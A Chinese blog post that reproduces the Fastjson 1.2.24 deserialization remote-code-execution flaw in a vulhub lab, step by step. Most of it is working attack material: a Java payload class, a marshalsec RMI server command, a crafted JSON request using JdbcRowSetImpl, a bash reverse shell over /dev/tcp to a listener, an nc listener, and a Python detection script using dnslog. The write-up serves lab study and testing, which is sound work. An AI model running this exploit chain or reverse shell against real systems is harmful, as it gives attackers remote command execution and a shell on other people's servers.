Fastjson 漏洞复现


Fastjson 漏洞复现

Fastjson 1.2.24 命令执行

Fastjson 1.2.24

环境搭建

使用vulhub里的fastjson/1.2.24-rce进行复现

cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

访问http://192.168.19.128:8090/

image-20210712112844121

漏洞复现

靶机:kali-2021-1 ip:192.168.19.128

恶意站点:kali-2021-2 ip:192.168.19.150

攻击机RMI服务器:win10 ip:10.1.1.158

下载利用工具

https://github.com/zhzyker/exphub

image-20210712113441894

执行以下命令编译Exploit.javaclass文件,如果执行命令显示javac不是内部或外部命令,也不是可运行的程序,首先确定是否安装了jdk环境,如果安装了,就是没有添加环境变量,jdk1.8的默认安装路径C:\Program Files\Java\jdk1.8.0_281\bin把路径添加到环境变量即可。

javac Exploit.java

执行命令得到Exploit.class

image-20210712121509902

Exploit.java代码如下

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/exphub"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

架设恶意站点

这里是用的是kali192.168.19.150,将Exploit.class,Exploit.java这两个文件复制到kali的同一个目录里

image-20210712123949522

在该目录,打开终端,开启http服务

python3 -m http.server 8000

image-20210712124422649

访问:http://192.168.19.150:8000/

image-20210712124612891

启动RMl服务

jdk环境必须小与1.9

在存放了marshalsec-0.0.3-SNAPSHOT-all.jar的目录下打开cmd,执行以下命令

ip地址改为恶意站点的地址。监听端口为9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:端口/#Exploit" 9999

image-20210712125636757

构造攻击数据包

访问靶机地址,抓取数据包

image-20210712130133161

构造poc ,Host改为靶机地址dataSourceName地址改为开启了rmi服务的地址,和端口

POST / HTTP/1.1
Host: 192.168.19.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.1.1.158:9999/TouchFile",
        "autoCommit":true
    }

}

返回500,证明请求成功

image-20210712131815430

下面的返回是失败的

image-20210712132531752

rmi服务器可以看到成功收到请求,如果出现warning,就是jdk版本大于1.9。

image-20210712130734929

进靶机,查看是否写入了exphub的文件

查看容器id

docke ps

image-20210712131155507

进入容器

docker exec -it 46ded9d8b603 bash

image-20210712131326380

进入tmp目录下查看,exphub文件已经写入

image-20210712131504109

反弹shell

Exploit.java里执行的命令,改为反弹shell的命令,修改监听的地址


import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/监听的ip地址/7777 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

然后跟前面步骤一样,生成class

javac Exploit.java

放到同一个目录开启http服务

python3 -m http.server 8000

启动rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.19.150:8000/#Exploit" 9999

开启监听

nc -lvp 7777

image-20210712133843666

发送数据包,成功反弹shell

image-20210712134027556

检测脚本


import requests
import os
import random
from hashlib import md5
import json
import argparse
import sys
class Fastjson_1_2_24():
 
    def url(self):
        parser = argparse.ArgumentParser(description='fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC')
        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
        args = parser.parse_args() 
        global target_url
        target_url = args.target_url
        print("fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC!!")
        print("正在执行检测...")
        print("目标地址:",target_url)
        return target_url
 
    def randmd5(self):
        new_md5 = md5()
        new_md5.update(str(random.randint(1, 1000)).encode())
        return new_md5.hexdigest()[:6]  #取前6位
 
    def get_domain(self):
        global header
        header={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
        global rand
        rand = self.randmd5()
        getDoMain = 'http://www.dnslog.cn/getdomain.php'
        try:
            r = requests.get(getDoMain, headers=header, timeout=5)
            if r.status_code == 200:
                global dnslogUrl
                dnslogUrl = rand + '.' + r.text
            else:
                sys.exit()
            print(dnslogUrl)
            return dnslogUrl
        except:
            print('Exception found')
            sys.exit()
    def post_target(self):
        headers = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
            'Connection': 'close',
            'Content-Type': 'application/json',    
        }
        data = {"zeo":{"@type":"java.net.Inet4Address","val":dnslogUrl}}
        try:
            re = requests.post(url=target_url,data=json.dumps(data),headers=headers,timeout=5)
            print("正在请求目标地址...")
        except:
            print('Exception found')
            sys.exit()
 
    def get_records(self):
        getRecords = 'http://www.dnslog.cn/getrecords.php'
        try:
            res = requests.get(getRecords,headers=header,timeout=5)
        except:
            print('请求失败!')
        if res.status_code == 200:
            if rand in res.text:
                print(res.text)
                print(f"疑似存在漏洞")
            else:
                print("不存在漏洞")
        else:
            print("请求失败!")
            sys.exit(0)
 
    def main(self):
        self.url()
        self.randmd5()
        self.get_domain()
        self.post_target()
        self.get_records()
 
if __name__ == '__main__':
    exploit = Fastjson_1_2_24()
    exploit.main()

image-20210712134849700

如何确定使用了Fastjson库

抓包的时候发现返回的流量内容存在json格式时,使用dnslog盲打看看

image-20210712135933838

{"zeo":{"@type":"java.net.Inet4Address","val":"y1nhma.dnslog.cn"}} 

image-20210712140439270


文章作者: Kz_404
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Kz_404 !
评论
  目录